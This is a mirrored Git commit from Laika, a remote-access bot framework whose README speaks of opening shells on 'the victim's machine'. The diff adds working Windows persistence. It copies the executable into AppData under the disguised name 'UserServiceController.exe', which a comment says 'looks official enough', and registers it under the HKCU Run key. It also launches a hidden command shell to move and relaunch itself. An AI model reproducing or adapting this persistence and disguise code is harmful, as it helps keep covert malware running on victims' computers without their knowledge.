mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-22 04:50:06 +00:00
Windows: Persistence via windows registry
This commit is contained in:
parent
e80f007df9
commit
64f7e40fa0
@ -12,7 +12,6 @@ HEAD: https://github.com/CPunch/Laika/tree/main
|
|||||||
## Tasks and TODOs
|
## Tasks and TODOs
|
||||||
Looking for some simple tasks that need to get done for that sweet 'contributor' cred? Check here!
|
Looking for some simple tasks that need to get done for that sweet 'contributor' cred? Check here!
|
||||||
|
|
||||||
- Implement `lib/win/winpersist.c`
|
|
||||||
- Change `lib/lin/linshell.c` to use openpty() instead of forkpty() for BSD support
|
- Change `lib/lin/linshell.c` to use openpty() instead of forkpty() for BSD support
|
||||||
- Fix address sanitizer for CMake DEBUG builds
|
- Fix address sanitizer for CMake DEBUG builds
|
||||||
- Change laikaT_getTime in `lib/src/ltask.c` to not use C11 features.
|
- Change laikaT_getTime in `lib/src/ltask.c` to not use C11 features.
|
||||||
|
@ -14,9 +14,9 @@ Some notable features thus far:
|
|||||||
- [X] Authentication & packet encryption using LibSodium and a predetermined public CNC key. (generated with `bin/genKey`)
|
- [X] Authentication & packet encryption using LibSodium and a predetermined public CNC key. (generated with `bin/genKey`)
|
||||||
- [X] Server and Shell configuration through `.ini` files.
|
- [X] Server and Shell configuration through `.ini` files.
|
||||||
- [X] Ability to open shells remotely on the victim's machine.
|
- [X] Ability to open shells remotely on the victim's machine.
|
||||||
- [ ] Persistence across reboot: (toggled with `-DLAIKA_PERSISTENCE=On`)
|
- [X] Persistence across reboot: (toggled with `-DLAIKA_PERSISTENCE=On`)
|
||||||
- [X] Persistence via Cron on Linux-based systems.
|
- [X] Persistence via Cron on Linux-based systems.
|
||||||
- [ ] Persistence via Windows Registry.
|
- [X] Persistence via Windows Registry.
|
||||||
- [ ] Ability to relay socket connections to/from the victim's machine.
|
- [ ] Ability to relay socket connections to/from the victim's machine.
|
||||||
- [ ] Uses obfuscation techniques also seen in the wild (string obfuscation, tiny VMs executing sensitive operations, etc.)
|
- [ ] Uses obfuscation techniques also seen in the wild (string obfuscation, tiny VMs executing sensitive operations, etc.)
|
||||||
- [ ] Simple configuration using CMake:
|
- [ ] Simple configuration using CMake:
|
||||||
|
@ -121,8 +121,8 @@ void laikaB_tryPersist() {
|
|||||||
getCurrentExe(exePath, PATH_MAX);
|
getCurrentExe(exePath, PATH_MAX);
|
||||||
getInstallPath(installPath, PATH_MAX);
|
getInstallPath(installPath, PATH_MAX);
|
||||||
|
|
||||||
/* move exe to install path */
|
/* move exe to install path (if it isn't there already) */
|
||||||
if (rename(exePath, installPath))
|
if (strncmp(exePath, installPath, strnlen(exePath, PATH_MAX)) != 0 && rename(exePath, installPath))
|
||||||
LAIKA_ERROR("Failed to install '%s' to '%s'!\n", exePath, installPath);
|
LAIKA_ERROR("Failed to install '%s' to '%s'!\n", exePath, installPath);
|
||||||
|
|
||||||
LAIKA_DEBUG("Successfully installed '%s'!\n", installPath);
|
LAIKA_DEBUG("Successfully installed '%s'!\n", installPath);
|
||||||
|
@ -1,6 +1,10 @@
|
|||||||
/* platform specific code for achieving persistence on windows */
|
/* platform specific code for achieving persistence on windows */
|
||||||
|
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
|
#include <shlobj.h>
|
||||||
|
#include <shlwapi.h>
|
||||||
|
|
||||||
|
#pragma comment(lib, "Shlwapi.lib")
|
||||||
|
|
||||||
#include "persist.h"
|
#include "persist.h"
|
||||||
#include "lconfig.h"
|
#include "lconfig.h"
|
||||||
@ -11,8 +15,12 @@
|
|||||||
* so we use the GIT_VERSION as our mutex :D */
|
* so we use the GIT_VERSION as our mutex :D */
|
||||||
#define LAIKA_MUTEX LAIKA_VERSION_COMMIT ".0"
|
#define LAIKA_MUTEX LAIKA_VERSION_COMMIT ".0"
|
||||||
|
|
||||||
#define LAIKA_REG_KEY "\Software\Microsoft\Windows\CurrentVersion"
|
/* looks official enough */
|
||||||
#define LAIKA_REG_VAL "Run"
|
#define LAIKA_INSTALL_DIR "Microsoft"
|
||||||
|
#define LAIKA_INSTALL_FILE "UserServiceController.exe"
|
||||||
|
|
||||||
|
#define LAIKA_REG_KEY "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
|
||||||
|
#define LAIKA_REG_VAL "UserServiceController"
|
||||||
|
|
||||||
HANDLE laikaB_mutex;
|
HANDLE laikaB_mutex;
|
||||||
|
|
||||||
@ -40,41 +48,124 @@ void laikaB_unmarkRunning() {
|
|||||||
|
|
||||||
HKEY openReg(HKEY key, LPCTSTR subKey) {
|
HKEY openReg(HKEY key, LPCTSTR subKey) {
|
||||||
HKEY hKey;
|
HKEY hKey;
|
||||||
LONG code;
|
|
||||||
|
|
||||||
if ((code = RegOpenKeyEx(key, subKey, 0, KEY_ALL_ACCESS, &hKey)) != ERROR_SUCCESS)
|
if (RegOpenKeyEx(key, subKey, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
||||||
LAIKA_ERROR("Failed to open registry key!\n");
|
LAIKA_ERROR("Failed to open registry key!\n");
|
||||||
|
|
||||||
return hKey;
|
return hKey;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* returns raw multi-string value from registry : see REG_MULTI_SZ at https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-value-types */
|
/* returns raw multi-string value from registry : see REG_MULTI_SZ at https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-value-types */
|
||||||
LPCTSTR readReg(HKEY key, LPCTSTR val, LPDWORD sz) {
|
LPTSTR readReg(HKEY key, LPCTSTR val, LPDWORD sz) {
|
||||||
LPCTSTR str;
|
LPTSTR str = NULL;
|
||||||
DWORD ret;
|
DWORD ret;
|
||||||
|
|
||||||
/* get the size */
|
/* get the size */
|
||||||
*sz = 0;
|
*sz = 0;
|
||||||
RegQueryValueEx(key, val, NULL, NULL, NULL, sz);
|
RegQueryValueEx(key, val, NULL, NULL, NULL, sz);
|
||||||
str = (LPCTSTR)laikaM_malloc(*sz);
|
|
||||||
|
|
||||||
if ((ret = RegQueryValueEx(key, val, NULL, NULL, str, sz)) != ERROR_SUCCESS)
|
if (*sz != 0) {
|
||||||
LAIKA_ERROR("Failed to read registry!\n");
|
str = (LPCTSTR)laikaM_malloc(*sz);
|
||||||
|
|
||||||
|
if ((ret = RegQueryValueEx(key, val, NULL, NULL, str, sz)) != ERROR_SUCCESS)
|
||||||
|
LAIKA_ERROR("Failed to read registry!\n");
|
||||||
|
}
|
||||||
|
|
||||||
return str;
|
return str;
|
||||||
}
|
}
|
||||||
|
|
||||||
void writeReg(HKEY key, LPCTSTR val, LPCTSTR data, DWORD sz) {
|
void writeReg(HKEY key, LPCTSTR val, LPTSTR data, DWORD sz) {
|
||||||
HKEY hKey;
|
|
||||||
LONG code;
|
LONG code;
|
||||||
|
|
||||||
if ((code = RegSetValueEx(hKey, val, 0, REG_MULTI_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS)
|
if ((code = RegSetValueEx(key, val, 0, REG_MULTI_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS)
|
||||||
LAIKA_ERROR("Failed to write registry!\n");
|
LAIKA_ERROR("Failed to write registry!\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void getExecutablePath(LPTSTR path) {
|
||||||
|
if (GetModuleFileName(NULL, path, MAX_PATH) == 0)
|
||||||
|
LAIKA_ERROR("Failed to get executable path!\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
void getInstallPath(LPTSTR path) {
|
||||||
|
/* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and microsoft will probably never completely remove it :P */
|
||||||
|
if (SHGetFolderPath(NULL, CSIDL_APPDATA | CSIDL_FLAG_CREATE, NULL, 0, path) != S_OK)
|
||||||
|
LAIKA_ERROR("Failed to get APPDATA!\n");
|
||||||
|
|
||||||
|
PathAppend(path, TEXT(LAIKA_INSTALL_DIR));
|
||||||
|
|
||||||
|
if (!CreateDirectory(path, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
|
||||||
|
LAIKA_ERROR("Failed to create directory '%s'!\n", path);
|
||||||
|
|
||||||
|
PathAppend(path, TEXT(LAIKA_INSTALL_FILE));
|
||||||
|
}
|
||||||
|
|
||||||
|
/* windows doesn't let you move/delete/modify any currently executing file (since a file handle to the executable is open), so we
|
||||||
|
spawn a shell to move the exe *after* we exit. */
|
||||||
|
void installSelf() {
|
||||||
|
TCHAR szFile[MAX_PATH], szInstall[MAX_PATH], szCmd[(MAX_PATH*4)];
|
||||||
|
|
||||||
|
getExecutablePath(szFile);
|
||||||
|
getInstallPath(szInstall);
|
||||||
|
|
||||||
|
if (lstrcmp(szFile, szInstall) == 0) {
|
||||||
|
LAIKA_DEBUG("Laika already installed!\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
LAIKA_DEBUG("moving '%s' to '%s'!\n", szFile, szInstall);
|
||||||
|
|
||||||
|
/* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika */
|
||||||
|
lstrcpy(szCmd, TEXT("/C timeout /t 3 > NUL & move "));
|
||||||
|
lstrcat(szCmd, szFile);
|
||||||
|
lstrcat(szCmd, TEXT(" "));
|
||||||
|
lstrcat(szCmd, szInstall);
|
||||||
|
lstrcat(szCmd, TEXT(" > NUL & "));
|
||||||
|
lstrcat(szCmd, szInstall);
|
||||||
|
|
||||||
|
if (GetEnvironmentVariable("COMSPEC", szFile, MAX_PATH) == 0 || (INT)ShellExecute(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32)
|
||||||
|
LAIKA_ERROR("Failed to start shell for moving exe!\n");
|
||||||
|
|
||||||
|
laikaB_unmarkRunning();
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
void installRegistry() {
|
||||||
|
TCHAR newRegValue[MAX_PATH];
|
||||||
|
LPTSTR regVal;
|
||||||
|
DWORD regSz;
|
||||||
|
DWORD newRegSz;
|
||||||
|
HKEY reg;
|
||||||
|
|
||||||
|
/* create REG_MULTI_SZ */
|
||||||
|
getInstallPath(newRegValue);
|
||||||
|
newRegSz = lstrlen(newRegValue) + 1;
|
||||||
|
newRegValue[newRegSz] = '\0';
|
||||||
|
|
||||||
|
reg = openReg(HKEY_CURRENT_USER, TEXT(LAIKA_REG_KEY));
|
||||||
|
if ((regVal = readReg(reg, TEXT(LAIKA_REG_VAL), ®Sz)) != NULL) {
|
||||||
|
LAIKA_DEBUG("Current Registry value: '%s'\n", regVal);
|
||||||
|
|
||||||
|
/* compare regValue with the install path we'll need */
|
||||||
|
if (regSz != newRegSz || memcmp(newRegValue, regVal, regSz) != 0) {
|
||||||
|
LAIKA_DEBUG("No match! Updating registry...\n");
|
||||||
|
/* it's not our install path, so write it */
|
||||||
|
writeReg(reg, TEXT(LAIKA_REG_VAL), newRegValue, newRegSz);
|
||||||
|
}
|
||||||
|
|
||||||
|
laikaM_free(regVal);
|
||||||
|
} else {
|
||||||
|
LAIKA_DEBUG("Empty registry! Updating registry...\n");
|
||||||
|
/* no registry value set! install it and set! */
|
||||||
|
writeReg(reg, TEXT(LAIKA_REG_VAL), newRegValue, newRegSz);
|
||||||
|
}
|
||||||
|
|
||||||
|
RegCloseKey(reg);
|
||||||
|
}
|
||||||
|
|
||||||
/* try to gain persistance on machine */
|
/* try to gain persistance on machine */
|
||||||
void laikaB_tryPersist() {
|
void laikaB_tryPersist() {
|
||||||
/* stubbed */
|
installRegistry();
|
||||||
|
installSelf();
|
||||||
}
|
}
|
||||||
|
|
||||||
/* try to gain root */
|
/* try to gain root */
|
||||||
|
Loading…
Reference in New Issue
Block a user